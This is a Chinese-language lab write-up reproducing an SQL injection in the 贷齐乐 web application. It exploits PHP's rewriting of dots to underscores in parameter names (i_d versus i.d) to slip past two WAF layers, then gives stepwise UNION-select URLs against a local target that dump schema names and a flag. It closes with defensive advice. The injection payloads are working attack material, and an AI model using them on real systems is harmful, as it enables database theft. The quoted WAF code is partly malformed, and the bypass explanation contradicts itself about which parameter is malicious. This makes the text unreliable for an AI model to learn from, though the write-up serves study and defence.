贷齐乐错误的waf引起的SQL注入漏洞复现
字数 1050 2025-08-18 17:33:28
贷齐乐错误的WAF引起的SQL注入漏洞复现与分析
漏洞概述
本漏洞是基于错误的WAF(Web应用防火墙)实现导致的SQL注入漏洞,与SQLi靶场中的29关到31关类似,但存在关键区别:
- 本漏洞由错误的WAF引起
- 29-31关由HTTP参数污染(HPP)引起
- 本漏洞涉及HPP全局参数污染以及PHP的特性
环境准备
所需环境
- PHP版本:5.4.45(不支持PHP7)
- 中间件:Apache
- 数据库:MySQL 5.7.26
数据库设置
- 创建数据库:
CREATE DATABASE ctf;
- 创建表:
CREATE TABLE `users` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(255) DEFAULT NULL,
`pass` varchar(255) DEFAULT NULL,
`flag` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
- 插入测试数据:
INSERT INTO `users` (`name`, `pass`, `flag`)
VALUES ('admin', 'qwer!@#zxca', 'hrctf{R3qu3st_Is_1nterEst1ng}');
WAF分析
第一道WAF
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|union|into|load_file|outfile/is', $str);
if($check) {
echo "非法字符!";
exit();
}
$newstr = "";
while($newstr != $str) {
$newstr = $str;
$str = str_replace("script", "", $str);
$str = str_replace("execute", "", $str);
$str = str_replace("update", "", $str);
$str = str_replace("master", "", $str);
$str = str_replace("truncate", "", $str);
$str = str_replace("declare", "", $str);
$str = str_replace("select", "", $str);
$str = str_replace("create", "", $str);
$str = str_replace("delete", "", $str);
$str = str_replace("insert", "", $str);
$str = str_replace(str);
}
return $str;
}
第二道WAF
function safe_str($str) {
if(!get_magic_quotes_gpc()) {
if(is_array($str)) {
foreach($str as $key => $value) {
$str[$key] = safe_str($value);
}
} else {
$str = addslashes($str);
}
}
return $str;
}
function dhtmlspecialchars($string) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
} else {
$string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string);
if(strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
漏洞原理
PHP特性利用
-
参数名转换特性:PHP在解析参数时,会将参数名中的点(.)、空格( )等字符转换为下划线(_)
- 例如:
i.d会被转换为i_d
- 例如:
-
参数处理顺序:
- 第一道WAF处理
$_REQUEST时,会处理转换后的参数名 - 第二道WAF处理
$_SERVER['REQUEST_URI']时,处理原始参数名
- 第一道WAF处理
绕过思路
-
构造两个参数:
i_d=恶意payload:会被第一道WAF检测i.d=正常值:会被第一道WAF忽略(因为参数名不同)
-
由于PHP的参数处理特性:
- 第一道WAF看到的是
i_d=正常值 - 第二道WAF看到的是
i.d=恶意payload并覆盖i_d的值
- 第一道WAF看到的是
漏洞复现步骤
1. 测试参数转换
http://127.0.0.1/daiqile/index.php/?i_d=bad'&i.d=111&submit=1
2. 联合查询注入
由于不能使用括号,使用注释代替空格:
确定回显字段
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1
爆出数据库名
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1
爆出表名
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1
注:0x637466是"ctf"的十六进制表示
爆出列名
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1&submit=1
注:0x7573657273是"users"的十六进制表示
获取flag
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1
关键知识点总结
- PHP参数名转换:PHP会将GET参数名中的点(.)转换为下划线(_)
- WAF处理顺序:
- 第一道WAF处理转换后的参数名
- 第二道WAF处理原始参数名并覆盖值
- HPP(HTTP参数污染):利用同名参数最后一个生效的特性
- 绕过技术:
- 使用
i_d和i.d两个参数 - 第一道WAF检测
i_d=正常值 - 第二道WAF处理
i.d=恶意payload并覆盖i_d
- 使用
- SQL注入技巧:
- 使用
/**/代替空格 - 使用
like代替=(因为等号被过滤) - 使用十六进制表示字符串值
- 使用
防御建议
- 统一参数名处理方式
- 在WAF中处理原始URI和转换后的参数
- 使用参数白名单机制
- 使用预编译语句(Prepared Statement)防止SQL注入
- 升级到最新PHP版本,避免使用已弃用的函数